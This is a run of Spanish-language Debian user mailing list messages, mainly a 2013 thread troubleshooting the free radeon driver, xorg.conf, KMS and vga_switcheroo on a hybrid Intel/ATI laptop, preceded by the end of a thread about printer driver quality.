funcionar después, así que si no has cambiado nada (excepto el driver de
la impresora, claro) te diría que enviaras un informe de fallo para que
los desarrolladores puedan analizar si ha habido algún cambio entre
versiones que haya podido generar la bajada de calidad de las impresiones
que comentas.


Bueno se preguntarán por que no las conecto por el puerto paralelo y ya
está, el lio es que no hay cables para todas y para contra las
computadoras de mi empresa son modernas y ya no vienen con el puerto
paralelo.

Me extrañaría que la interfaz de conexión (USB, LPT, ethernet...) influya
en la calidad de las copias :-?


Todo este problema empezó cuando cambiamos de distro de debian 6 a
ubuntu 12.04, pues en debian 6 no tuvimos problemas, haciendo algunos
cambios pude percatarme que cambiando las fuentes en ocasiones mejora
la impresión, habrá algún problema de compatibilidad con las fuentes,
si alguno de ustedes ha pasado por esta situación y conoce como
resolver este problema pudiera darme una mano con esto, de antemano
muchas gracias.

Compara las versiones de los drivers (entre Debian 6 y Ubuntu 12.04) a
ver si son diferentes y en caso afirmativo podrías probar a instalar una
nueva instancia de la impresora usando el driver de Debian 6.

Saludos,

Muchas Gracias resolví con el driver de debian6 pues al parecer el de 
ubuntu 12.04 sufrió modificaciones.


--
Este mensaje ha sido analizado por MailScanner
en busca de virus y otros contenidos peligrosos,
y se considera que est� limpio.


--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/5214dc50.40...@cmg.jovenclub.cu

Re: [RESUELTO]: Driver "radeon" (era: imposible reducir el brillo de la pantalla)

[Camaleón]

El Thu, 28 Mar 2013 17:01:24 +0100, Eduardo Rios escribió:

> El 28/03/13 16:47, Camaleón escribió:
> 
>> Si quieres, lo escribes en español, te lo traduzco y te lo mando al BTS
>> pero tendrás que hacer las pruebas que te digan >:-)
>>
>> Saludos,
>>
>>
> 
> Gracias por el ofrecimiento, pero de momento no me veo capaz de
> experimentar más. :)

"No problemo". Si/cuando te animes, volvemos a la batalla de nuevo.

Saludos torrijeros,

-- 
Camaleón


-- 
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/kj1pl7$m48$1...@ger.gmane.org

Re: [RESUELTO]: Driver "radeon" (era: imposible reducir el brillo de la pantalla)

[Eduardo Rios]

El 28/03/13 16:47, Camaleón escribió:


Si quieres, lo escribes en español, te lo traduzco y te lo mando al BTS
pero tendrás que hacer las pruebas que te digan >:-)

Saludos,




Gracias por el ofrecimiento, pero de momento no me veo capaz de 
experimentar más. :)



--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/51546954.2080...@yahoo.es

Re: [RESUELTO]: Driver "radeon" (era: imposible reducir el brillo de la pantalla)

[Camaleón]

El Thu, 28 Mar 2013 16:41:45 +0100, Eduardo Rios escribió:

> El 28/03/13 16:27, Camaleón escribió:
> 
>> Tienes un fallo de segmentación que vendría a ser un pantallazo azul en
>> Windows. Yo te recomiendo que informes en el BTS de Debian; si tienes
>> interés en resolverlo es forma más rápida de ver qué pasa.
>>
>>
> El problema de esto... es que mi inglés es nulo... :p

Si quieres, lo escribes en español, te lo traduzco y te lo mando al BTS 
pero tendrás que hacer las pruebas que te digan >:-)

Saludos,

-- 
Camaleón


-- 
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/kj1om8$m48$1...@ger.gmane.org

Re: [RESUELTO]: Driver "radeon" (era: imposible reducir el brillo de la pantalla)

[Eduardo Rios]

El 28/03/13 16:27, Camaleón escribió:


Tienes un fallo de segmentación que vendría a ser un pantallazo azul en
Windows. Yo te recomiendo que informes en el BTS de Debian; si tienes
interés en resolverlo es forma más rápida de ver qué pasa.



El problema de esto... es que mi inglés es nulo... :p


--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/515464b9.5000...@yahoo.es

Re: [RESUELTO]: Driver "radeon" (era: imposible reducir el brillo de la pantalla)

[Camaleón]

El Thu, 28 Mar 2013 16:13:29 +0100, Eduardo Rios escribió:

> El 28/03/13 15:26, Camaleón escribió:
> 
>> Correcto, esa es nuestra cruz (en linux, digo, porque en windows los
>> señores de AMD/ATI ya se las habrán ingeniado para habilitar algún
>> "interruptor" que permita determina qué tarjeta usar).
> 
> Bueno... no sólo en Windows... En linux también deben de tener su truco.

Sí, usando el switchero ese pero a ver, no es tan sencillo como en 
Windows. En Windows habrá alguna opción sencillita que puedas seleccionar 
para pasar de una a otra (incluso si te descuidas lo hará el sistema 
automáticamente cuando detecte carga de trabajo pasará a la ATI y cuando 
se desconecte la alimentación conmutará automáticamente a la Intel).

> Si no, no entiendo como los propietarios me van a la perfección... y los
> libres es misión imposible :-P

Tienes un fallo de segmentación que vendría a ser un pantallazo azul en 
Windows. Yo te recomiendo que informes en el BTS de Debian; si tienes 
interés en resolverlo es forma más rápida de ver qué pasa.

>> Es decir, que sólo se va a activar si inicias con el KMS activado
>> (recuerda que el driver radeon lo necesita) pero me parece que vamos a
>> llegar a un punto muerto porque te vas a encontrar con el fallo de
>> segmentación.
> 
> Pues si, como decía más arriba, no le veo sentido a empeñarme en usar
> los libres (salvo filosofía, claro), cuando los propietarios me van bien
> y no se me calienta casi nada el portátil y el ventilador ni se oye :-D

No se trata de que los uses sino de que en un momento dado te puede venir 
bien tener otro conjunto de drivers para cargar.

> Vale, ahora es cuando me puedes llamar "rajao" ;-)

No hombre... además, seguro que en breve te vuelves a animar (una vez que 
te pica el gusanillo no puedes parar).

Saludos,

-- 
Camaleón


-- 
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/kj1nhu$m48$1...@ger.gmane.org

Re: [RESUELTO]: Driver "radeon" (era: imposible reducir el brillo de la pantalla)

[Camaleón]

El Thu, 28 Mar 2013 16:04:47 +0100, Eduardo Rios escribió:

> El 28/03/13 15:30, Camaleón escribió:
>> El Thu, 28 Mar 2013 01:21:58 +0100, Eduardo Rios escribió:
> 
>>> Vale, una vez googleado, ya he sabido como resolver eso: 
>>> 1. mountpoint -q /sys/kernel/debug
>>> 2. mount -t debugfs none /sys/kernel/debug 
>>> 3. Añadiendo a /etc/fstab la línea:
>>>
>>> none /sys/kernel/debug debugfs defaults 0 0
>>
>> ¿Y eso para qué, exactamente? Salvo que quieras ponerte a depurar el
>> driver pero eso sería demasiada penitencia incluso para estas fechas
>> :-P
> 
> Pues para tener el /sys/kernel/debug/vgaswitcheroo/switch, y si no hago
> eso, no existe.

Ah, vale, que no se monta automáticamente. Entendido.

>>> Cuando pongo la orden  cat /sys/kernel/debug/vgaswitcheroo/switch,
>>> sale esto:
>>>
>>> 0:IGD:+:Pwr::00:02.0
>>> 1:DIS: :Pwr::01:00.0
>>>
>>> Y ya puedo poner los comandos que quiera, que de la tarjeta integrada
>>> no sale...
>>
>> Ni saldrá como no actives el KMS :-)
> 
> 
> Pues según he podido leer, el KMS se activa:
> 
> - Cuando no usas drivers propietarios, indicas el parámetro de arranque
> al kernel "modeset=1" (o no está el parámetro "nomodeset")

Sí, pero ojo, en tu caso se cargará el driver intel no el radeon. Al menos 
hasta que no se active el switchero ese y puedas elegir.

> De todos modos, creo que lo mejor va a ser dejarlo aquí, ya que me
> funciona el controlar el brillo de la pantalla y funcionan los drivers
> propietarios.

>:-)

> Además, según he leído, con los drivers libres se calientan bastante más
> los portátiles... ¿Para que empeñarme en usarlos si luego no me va a
> gustar que mi portátil pueda freír huevos y pondré los propietarios? :-D

Sí, es cierto, ya te lo comenté, que al final tendrías que usar los drivers
propietarios porque gestionan mejor el subsistema de ahorro de energía pero
el driver que uses es lo de menos: lo importante (desde mi punto de vista) 
es saber cómo hacer las cosas para poder elegir lo que más te convenga en 
cada momento.

Saludos,

-- 
Camaleón


-- 
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/kj1mro$m48$9...@ger.gmane.org

Re: [RESUELTO]: Driver "radeon" (era: imposible reducir el brillo de la pantalla)

[Eduardo Rios]

El 28/03/13 15:26, Camaleón escribió:


Correcto, esa es nuestra cruz (en linux, digo, porque en windows los
señores de AMD/ATI ya se las habrán ingeniado para habilitar algún
"interruptor" que permita determina qué tarjeta usar).


Bueno... no sólo en Windows... En linux también deben de tener su truco. 
Si no, no entiendo como los propietarios me van a la perfección... y los 
libres es misión imposible :-P




Es decir, que sólo se va a activar si inicias con el KMS activado
(recuerda que el driver radeon lo necesita) pero me parece que vamos a
llegar a un punto muerto porque te vas a encontrar con el fallo de
segmentación.


Pues si, como decía más arriba, no le veo sentido a empeñarme en usar 
los libres (salvo filosofía, claro), cuando los propietarios me van bien

y no se me calienta casi nada el portátil y el ventilador ni se oye :-D

Vale, ahora es cuando me puedes llamar "rajao" ;-)


--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/51545e19.2010...@yahoo.es

Re: [RESUELTO]: Driver "radeon" (era: imposible reducir el brillo de la pantalla)

[Eduardo Rios]

El 28/03/13 15:30, Camaleón escribió:

El Thu, 28 Mar 2013 01:21:58 +0100, Eduardo Rios escribió:



Vale, una vez googleado, ya he sabido como resolver eso:
1. mountpoint -q /sys/kernel/debug
2. mount -t debugfs none /sys/kernel/debug
3. Añadiendo a /etc/fstab la línea:

none /sys/kernel/debug debugfs defaults 0 0


¿Y eso para qué, exactamente? Salvo que quieras ponerte a depurar el
driver pero eso sería demasiada penitencia incluso para estas fechas :-P


Pues para tener el /sys/kernel/debug/vgaswitcheroo/switch, y si no hago 
eso, no existe.





Cuando pongo la orden  cat /sys/kernel/debug/vgaswitcheroo/switch, sale
esto:

0:IGD:+:Pwr::00:02.0
1:DIS: :Pwr::01:00.0

Y ya puedo poner los comandos que quiera, que de la tarjeta integrada no
sale...


Ni saldrá como no actives el KMS :-)



Pues según he podido leer, el KMS se activa:

- Cuando no usas drivers propietarios, indicas el parámetro de arranque 
al kernel "modeset=1" (o no está el parámetro "nomodeset")


De todos modos, creo que lo mejor va a ser dejarlo aquí, ya que me 
funciona el controlar el brillo de la pantalla y funcionan los drivers 
propietarios.


Además, según he leído, con los drivers libres se calientan bastante más 
los portátiles... ¿Para que empeñarme en usarlos si luego no me va a 
gustar que mi portátil pueda freír huevos y pondré los propietarios? :-D



--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/51545c0f.7080...@yahoo.es

Re: [RESUELTO]: Driver "radeon" (era: imposible reducir el brillo de la pantalla)

[Camaleón]

El Thu, 28 Mar 2013 10:32:05 +0100, Eduardo Rios escribió:

> Me estoy cabreando y agobiando... Creo que de momento voy a tirar de
> drivers propietarios... si no, me veo en Windows :-P

No te va a quedar otra, pero no por nada sino por el fallo de 
segmentación que te sale cuando habilitas el KMS.

Saludos,

-- 
Camaleón


-- 
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/kj1k7e$m48$4...@ger.gmane.org

Re: [RESUELTO]: Driver "radeon" (era: imposible reducir el brillo de la pantalla)

[Camaleón]

El Thu, 28 Mar 2013 01:21:58 +0100, Eduardo Rios escribió:

> El 27/03/13 20:37, Eduardo Rios escribió:
> 
> 
>> Cuando ejecuto: grep -i switcheroo /boot/config-*, me devuelve:
>>
>> CONFIG_VGA_SWITCHEROO=y
>>
>> Sin embargo, en /sys/kernel/debug no hay más ficheros o directorios.
>> Está vacío. Buscando en synaptic por "switcheroo", no encuentra nada.
>>
>>
> 
> Vale, una vez googleado, ya he sabido como resolver eso: 
> 1. mountpoint -q /sys/kernel/debug
> 2. mount -t debugfs none /sys/kernel/debug 
> 3. Añadiendo a /etc/fstab la línea:
> 
> none /sys/kernel/debug debugfs defaults 0 0

¿Y eso para qué, exactamente? Salvo que quieras ponerte a depurar el 
driver pero eso sería demasiada penitencia incluso para estas fechas :-P

> Cuando pongo la orden  cat /sys/kernel/debug/vgaswitcheroo/switch, sale
> esto:
> 
> 0:IGD:+:Pwr::00:02.0
> 1:DIS: :Pwr::01:00.0
> 
> Y ya puedo poner los comandos que quiera, que de la tarjeta integrada no
> sale...

Ni saldrá como no actives el KMS :-)

Saludos,

-- 
Camaleón


-- 
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/kj1k5c$m48$3...@ger.gmane.org

Re: [RESUELTO]: Driver "radeon" (era: imposible reducir el brillo de la pantalla)

[Camaleón]

El Wed, 27 Mar 2013 20:37:59 +0100, Eduardo Rios escribió:

> El 27/03/13 17:04, Camaleón escribió:

(...)

>> Como seguramente en la BIOS no tengas ninguna opción para activar/
>> desactivar la Intel, esto del "switcheroo" quizá te pueda servir:
>>
>> https://help.ubuntu.com/community/HybridGraphics
>>
>> Me parece que te dejo sin vacaciones O;-)
>>
> 
> Ya sabía yo que tenia que haber algo más :-P
> 
> Efectivamente, en la BIOS no hay opción para marcar la que quiero usar.

Correcto, esa es nuestra cruz (en linux, digo, porque en windows los 
señores de AMD/ATI ya se las habrán ingeniado para habilitar algún 
"interruptor" que permita determina qué tarjeta usar).

> Te cuento resultados:
> 
> Cuando ejecuto: grep -i switcheroo /boot/config-*, me devuelve:
> 
> CONFIG_VGA_SWITCHEROO=y

Bien.
 
> Sin embargo, en /sys/kernel/debug no hay más ficheros o directorios.
> Está vacío. Buscando en synaptic por "switcheroo", no encuentra nada.

Hay que leer con calma la página ;-)

"The vga_switcheroo mechanism will only be active when the kernel is 
booted with either the "modeset=1" kernel option, and/or the "nomodeset" 
option being absent."

Es decir, que sólo se va a activar si inicias con el KMS activado 
(recuerda que el driver radeon lo necesita) pero me parece que vamos a 
llegar a un punto muerto porque te vas a encontrar con el fallo de 
segmentación.

Saludos,

-- 
Camaleón


-- 
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/kj1ju8$m48$2...@ger.gmane.org

Re: [RESUELTO]: Driver "radeon" (era: imposible reducir el brillo de la pantalla)

[Camaleón]

El Wed, 27 Mar 2013 20:24:31 +0100, Eduardo Rios escribió:

> El 27/03/13 15:41, Camaleón escribió:
> 
>>> ¿Te refieres al fichero que me generó el instalador de los
>>> controladores propietarios?
>>
>> No, me refiero al que te generó Xorg cuando ejecutaste "Xorg
>> -configure".
> 
> Con ese, no se si hay que tocar algo o no, pero no me va tampoco...

Me parece que ese archivo de configuración incluía todos los drivers, 
desde el intel hasta el fb y el radeon :-)

Debería funcionarte (de hecho, si no recuerdo mal, funcionaba), pero 
cargaba el driver intel en lugar del radeon, por lo que te sugerí que 
quitaras/comentaras el bloque del intel para evitar su carga.

Saludos,

-- 
Camaleón


-- 
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/kj1jj8$m48$1...@ger.gmane.org

Re: [RESUELTO]: Driver "radeon" (era: imposible reducir el brillo de la pantalla)

[Eduardo Rios]

Me estoy cabreando y agobiando... Creo que de momento voy a tirar de 
drivers propietarios... si no, me veo en Windows :-P



--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/51540e15.6030...@yahoo.es

Re: [RESUELTO]: Driver "radeon" (era: imposible reducir el brillo de la pantalla)

[Eduardo Rios]

El 27/03/13 20:37, Eduardo Rios escribió:



Cuando ejecuto: grep -i switcheroo /boot/config-*, me devuelve:

CONFIG_VGA_SWITCHEROO=y

Sin embargo, en /sys/kernel/debug no hay más ficheros o directorios.
Está vacío. Buscando en synaptic por "switcheroo", no encuentra nada.




Vale, una vez googleado, ya he sabido como resolver eso:
1. mountpoint -q /sys/kernel/debug
2. mount -t debugfs none /sys/kernel/debug
3. Añadiendo a /etc/fstab la línea:

none /sys/kernel/debug debugfs defaults 0 0

Cuando pongo la orden  cat /sys/kernel/debug/vgaswitcheroo/switch, sale 
esto:


0:IGD:+:Pwr::00:02.0
1:DIS: :Pwr::01:00.0

Y ya puedo poner los comandos que quiera, que de la tarjeta integrada no 
sale...



--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/51538d26.8010...@yahoo.es

Re: [RESUELTO]: Driver "radeon" (era: imposible reducir el brillo de la pantalla)

[Eduardo Rios]

El 27/03/13 17:04, Camaleón escribió:



Se me ha pasado una cosa por alto y es que estás usando el sistema
híbrido por lo que en este caso sí tendrías que decirle qué adaptador
usar como predeterminado (cuando sólo tienes una tarjeta gráfica lo único
que tienes que decirle a Xorg es qué driver quieres usar -el libre o el
cerrado- pero en este caso *SÍ* tendrías que decirle de alguna forma al
sistema qué tarjeta quieres utilizar y no solamente qué driver quieres
cargar.

Como seguramente en la BIOS no tengas ninguna opción para activar/
desactivar la Intel, esto del "switcheroo" quizá te pueda servir:

https://help.ubuntu.com/community/HybridGraphics

Me parece que te dejo sin vacaciones O;-)

Saludos,




Ya sabía yo que tenia que haber algo más :-P

Efectivamente, en la BIOS no hay opción para marcar la que quiero usar. 
Te cuento resultados:


Cuando ejecuto: grep -i switcheroo /boot/config-*, me devuelve:

CONFIG_VGA_SWITCHEROO=y

Sin embargo, en /sys/kernel/debug no hay más ficheros o directorios. 
Está vacío. Buscando en synaptic por "switcheroo", no encuentra nada.



--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/51534a97.50...@yahoo.es

Re: [RESUELTO]: Driver "radeon" (era: imposible reducir el brillo de la pantalla)

[Eduardo Rios]

El 27/03/13 15:41, Camaleón escribió:


¿Te refieres al fichero que me generó el instalador de los controladores
propietarios?


No, me refiero al que te generó Xorg cuando ejecutaste "Xorg -configure".


Con ese, no se si hay que tocar algo o no, pero no me va tampoco...


--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/5153476f.3020...@yahoo.es

Re: [RESUELTO]: Driver "radeon" (era: imposible reducir el brillo de la pantalla)

[Camaleón]

El Mon, 25 Mar 2013 14:28:23 +, Camaleón escribió:

> El Sun, 24 Mar 2013 20:32:21 +0100, Eduardo Rios escribió:

(...)

>> Y la duda o pregunta que me viene a la cabeza es: ¿Se puede decir al
>> kernel de alguna manera que ignore el primer dispositivo PCI y que haga
>> caso al segundo?
>> 
>> Igual es una burrada lo que he dicho, pero no se me ocurre nada mas :-D
> 
> No sería el kernel sino Xorg al que tienes que decirle qué tarjeta
> quieres usar. Y eso, al menos que yo sepa, se consigue especificando el
> driver a cargar desde el archivo de configuración "/etc/X11/xorg.conf".
> 
> La idea es que sea el usuario quien tenga el control de su hardware, no
> al revés ;-)

Se me ha pasado una cosa por alto y es que estás usando el sistema 
híbrido por lo que en este caso sí tendrías que decirle qué adaptador 
usar como predeterminado (cuando sólo tienes una tarjeta gráfica lo único 
que tienes que decirle a Xorg es qué driver quieres usar -el libre o el 
cerrado- pero en este caso *SÍ* tendrías que decirle de alguna forma al 
sistema qué tarjeta quieres utilizar y no solamente qué driver quieres 
cargar.

Como seguramente en la BIOS no tengas ninguna opción para activar/
desactivar la Intel, esto del "switcheroo" quizá te pueda servir:

https://help.ubuntu.com/community/HybridGraphics

Me parece que te dejo sin vacaciones O;-)

Saludos,

-- 
Camaleón


-- 
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/kiv59v$d23$7...@ger.gmane.org

Re: [RESUELTO]: Driver "radeon" (era: imposible reducir el brillo de la pantalla)

[Camaleón]

El Tue, 26 Mar 2013 22:56:54 +0100, Eduardo Rios escribió:

> Puedo dar más info:
> 
> 1. Si pruebo con este xorg.conf:
> 
> ***
> Section "Device"
>  Identifier  "ATI"
>  Driver  "radeon"
> EndSection

(...)

Este ya vimos que no funcionaba.

> 2. Si pruebo con:
> 
> ***
> Opción 1. Copia/pega simplificado del que te ha creado aticonfig

(...)

Este tampoco funcionaba, por eso te dije que probaras con el que te 
generó Xorg y que por cierto, ya deberías haber probado >>>:-)

Saludos,

-- 
Camaleón


-- 
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/kiv0hc$d23$3...@ger.gmane.org

Re: [RESUELTO]: Driver "radeon" (era: imposible reducir el brillo de la pantalla)

[Camaleón]

El Tue, 26 Mar 2013 21:25:54 +0100, Eduardo Rios escribió:

> El 26/03/13 19:11, Camaleón escribió:
> 
> 
>> Es cuestión de ir probando cosas. Yo empezaría a trabajar sobre el
>> archivo que te generó Xorg automáticamente, dejándolo lo más sencillo
>> posible y apuntando únicamente al radeon en lugar de al intel.
> 
> ¿Te refieres al fichero que me generó el instalador de los controladores
> propietarios?

No, me refiero al que te generó Xorg cuando ejecutaste "Xorg -configure".
 
> He probado con ese, y creando los ficheros tan mínimos como los que me
> pasaste en hilos pasados, y el resultado, el mismo error, traza y
> segmentation fault :(

Prueba con el otro pero ten en cuenta lo que te comentaba en el mensaje 
anterior.

 Anda y anímate con el radeon, pero no elimines ningún paquete de los
 drivers cerrados, tan sólo juega con el archivo de configuración de
 Xorg: el objetivo es conseguir que cargue el "radeon" en lugar del
 "fglxr".


> Si no elimino el controlador propietario, al consultar Xorg.0.log, da
> error porque modeset no está activado o algo así, y si desinstalo los
> propietarios, KMS funciona (o se activa), pero no salgo del segmentation
> fault 11

Prueba a activarlo para un arranque desde GRUB pasando al kernel 
"radeon.modeset=1". El error del fallo de segmentación puede ser por un 
"xorg.conf" que no le gusta.
 
>> Bueno, tienes que tener claros algunos conceptos:
>>
>> 1/ No puedes cambiar de driver sin más, asegúrate de que sólo haya un
>> archivo de configuración "xorg.conf" que sea el que lea Xorg y
>> asegúrate también de que ese archivo apunte al driver que quieres
>> (radeon).
> 
> Pues yo diría que si, solo hay 1, y carga radeon. 'locate xorg.conf', me
> devuelve:
> 
> edurios@debian:~$ locate xorg.conf
> /etc/X11/xorg.conf

(...)

Pero ese archivo de configuración no lo ha generado Xorg sino el driver 
fglxr.

>> 3/ Los registros y los mensajes de error son muy importantes. Con cada
>> cambio que hagas en el archivo de configuración y tras cada reinicio,
>> conviene revisar el registro ("/var/log/Xorg.0.log") para saber qué es
>> lo que está haciendo realmente el servidor X.
> 
> Pues yo lo veo siempre igual (cuando carga radeon y existe xorg.conf,
> claro. Si no, cambia bastante :-P

El fallo de segmentación no lo vas a poder depurar salvo que envíes un 
informe de error al BTS de Debian, que tampoco estaría de más ya que 
seguramente te darán información de la buena para poder corregirlo 
(siempre y cuando tenga solución, claro) o al menos evitarlo.
 
>> Ánimo, que viene un fin de semana largo ideal para romper el equip...
>> (ejem) quiero decir, para jugar con estas cosas O:-)
> 
> La verdad es que creo que voy a desconectar estos dias del PC y de
> Linux... pero bueno, intentaré tocar algo.

:-)

Saludos,

-- 
Camaleón


-- 
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/kiv0e1$d23$2...@ger.gmane.org

Re: [RESUELTO]: Driver "radeon" (era: imposible reducir el brillo de la pantalla)

[Eduardo Rios]

Puedo dar más info:

1. Si pruebo con este xorg.conf:

***
Section "Device"
Identifier  "ATI"
Driver  "radeon"
EndSection

Section "Screen"
Identifier "Default Screen"
DefaultDepth 24
EndSection

***

El Xorg.0.log termina con:

(EE) No devices detected


2. Si pruebo con:

***
Opción 1. Copia/pega simplificado del que te ha creado aticonfig

Section "Device"
 Identifier  "aticonfig-Device[0]-0"
 Driver  "radeon"
 BusID   "PCI:1:0:0"
EndSection

Section "Screen"
 Identifier "aticonfig-Screen[0]-0"
 Device "aticonfig-Device[0]-0"
 Monitor"aticonfig-Monitor[0]-0"
 DefaultDepth 24
 SubSection "Display"
 Viewport   0 0
 Depth 24
 EndSubSection
EndSection
***

Así termina con:

[29.024] (WW) RADEON(0): No outputs definitely connected, trying 
again...
[29.024] (WW) RADEON(0): Unable to find connected outputs - setting 
1024x768 initial framebuffer
[29.024] (II) RADEON(0): Using default gamma of (1.0, 1.0, 1.0) 
unless otherwise stated.

[29.024]
[29.024] Backtrace:
[29.024] 0: /usr/bin/Xorg (xorg_backtrace+0x36) [0x7f4eb442fcd6]
[29.024] 1: /usr/bin/Xorg (0x7f4eb42b1000+0x182829) [0x7f4eb4433829]
[29.024] 2: /lib/x86_64-linux-gnu/libpthread.so.0 
(0x7f4eb35d9000+0xf030) [0x7f4eb35e8030]

[29.024] 3: /usr/bin/Xorg (xf86SetScrnInfoModes+0x275) [0x7f4eb43704a5]
[29.024] 4: /usr/bin/Xorg (xf86InitialConfiguration+0x15a5) 
[0x7f4eb4373e15]
[29.024] 5: /usr/lib/xorg/modules/drivers/radeon_drv.so 
(0x7f4eb0211000+0xd8d4e) [0x7f4eb02e9d4e]
[29.024] 6: /usr/lib/xorg/modules/drivers/radeon_drv.so 
(0x7f4eb0211000+0xd4cd3) [0x7f4eb02e5cd3]

[29.025] 7: /usr/bin/Xorg (InitOutput+0x8ba) [0x7f4eb4342a2a]
[29.025] 8: /usr/bin/Xorg (0x7f4eb42b1000+0x41d26) [0x7f4eb42f2d26]
[29.025] 9: /lib/x86_64-linux-gnu/libc.so.6 (__libc_start_main+0xfd) 
[0x7f4eb2300ead]

[29.025] 10: /usr/bin/Xorg (0x7f4eb42b1000+0x4219d) [0x7f4eb42f319d]
[29.025]
[29.025] Segmentation fault at address (nil)
[29.025]
Fatal server error:
[29.025] Caught signal 11 (Segmentation fault). Server aborting
[29.025]


--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/515219a6.3010...@yahoo.es

Re: [RESUELTO]: Driver "radeon" (era: imposible reducir el brillo de la pantalla)

[Eduardo Rios]

El 26/03/13 19:11, Camaleón escribió:



Es cuestión de ir probando cosas. Yo empezaría a trabajar sobre el
archivo que te generó Xorg automáticamente, dejándolo lo más sencillo
posible y apuntando únicamente al radeon en lugar de al intel.


¿Te refieres al fichero que me generó el instalador de los controladores 
propietarios?


He probado con ese, y creando los ficheros tan mínimos como los que me 
pasaste en hilos pasados, y el resultado, el mismo error, traza y 
segmentation fault :(





Anda y anímate con el radeon, pero no elimines ningún paquete de los
drivers cerrados, tan sólo juega con el archivo de configuración de
Xorg: el objetivo es conseguir que cargue el "radeon" en lugar del
"fglxr".



Si no elimino el controlador propietario, al consultar Xorg.0.log, da 
error porque modeset no está activado o algo así, y si desinstalo los 
propietarios, KMS funciona (o se activa), pero no salgo del segmentation 
fault 11




Bueno, tienes que tener claros algunos conceptos:

1/ No puedes cambiar de driver sin más, asegúrate de que sólo haya un
archivo de configuración "xorg.conf" que sea el que lea Xorg y asegúrate
también de que ese archivo apunte al driver que quieres (radeon).


Pues yo diría que si, solo hay 1, y carga radeon. 'locate xorg.conf', me 
devuelve:


edurios@debian:~$ locate xorg.conf
/etc/X11/xorg.conf
/etc/X11/xorg.conf.fglrx-0
/etc/X11/xorg.conf.fglrx-1
/etc/X11/xorg.conf.original-0
/etc/X11/xorg.conf.original-1
/etc/X11/xorg.conf.original-2
/usr/share/X11/xorg.conf.d
/usr/share/X11/xorg.conf.d/10-evdev.conf
/usr/share/X11/xorg.conf.d/50-synaptics.conf
/usr/share/X11/xorg.conf.d/50-wacom.conf
/usr/share/man/man5/xorg.conf.5.gz
/usr/share/man/man5/xorg.conf.d.5.gz
edurios@debian:~$



2/ El driver radeon necesita activar el modo KMS y el driver propietario
lo desactiva. Tienes que tener cuidado con esto ya que si el radeon
detecta que no hay KMS o si el cerrado detecta que está activado
sencillamente no podrán iniciar.


Gracias, si, como decía, de esto me he dado cuenta.




3/ Los registros y los mensajes de error son muy importantes. Con cada
cambio que hagas en el archivo de configuración y tras cada reinicio,
conviene revisar el registro ("/var/log/Xorg.0.log") para saber qué es lo
que está haciendo realmente el servidor X.


Pues yo lo veo siempre igual (cuando carga radeon y existe xorg.conf, 
claro. Si no, cambia bastante :-P





Ánimo, que viene un fin de semana largo ideal para romper el equip...
(ejem) quiero decir, para jugar con estas cosas O:-)


La verdad es que creo que voy a desconectar estos dias del PC y de 
Linux... pero bueno, intentaré tocar algo.



--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/51520452.8050...@yahoo.es

Re: [RESUELTO]: Driver "radeon" (era: imposible reducir el brillo de la pantalla)

[Camaleón]

El Tue, 26 Mar 2013 18:54:49 +0100, Eduardo Rios escribió:

